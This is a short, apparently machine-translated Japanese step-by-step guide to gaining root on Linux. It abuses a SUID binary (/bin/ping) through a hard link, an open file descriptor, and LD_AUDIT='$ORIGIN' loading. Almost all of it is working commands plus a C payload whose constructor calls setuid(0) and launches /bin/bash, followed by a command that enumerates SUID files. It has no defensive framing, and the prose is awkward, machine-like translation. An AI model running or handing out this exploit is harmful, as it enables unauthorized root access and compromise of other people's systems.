tmpディレクトリのパーミッションを見ます
ll -d /tmp
tmpディレクトリに切り替え
cd /tmp
エクスプロイトのディレクトリを作成します。
mkdir exploit
SUID権限を持つビューのpingコマンド
ll /bin/ping
ターゲットファイルのハードリンクを作成します。
ln /bin/ping /tmp/exploit/target
対象のファイルのパーミッションを確認してください
ll /tmp/exploit/target
対象のファイルがメモリにロードされます
exec 3< /tmp/exploit/target
あなたは、メモリ内のターゲットを確認することができます
"ll /proc/$$/fd/3"
対象のファイルを削除します。
rm -rf /tmp/exploit/
あなたは、メモリ内のターゲットの状態が削除されて確認することができます
"ll /proc/$$/fd/3"
言語コードを作成するC
vim payload.c
void __attribute__((constructor)) init() // 两个下划线
{
setuid(0);
system("/bin/bash");
}
GCCコンパイラのコードを使用して
gcc -W -fPIC -shared -o /tmp/exploit payload.c
root権限に昇格
LD_AUDIT="\$ORIGIN" exec /proc/self/fd/3
実行、現在のセッションがすでにルートで見ます
whoami
添付:あなたは、次のコマンドSUIDファイルによってシステム上のすべての設定を見つけることができます:
find / -perm -04000 -type f -ls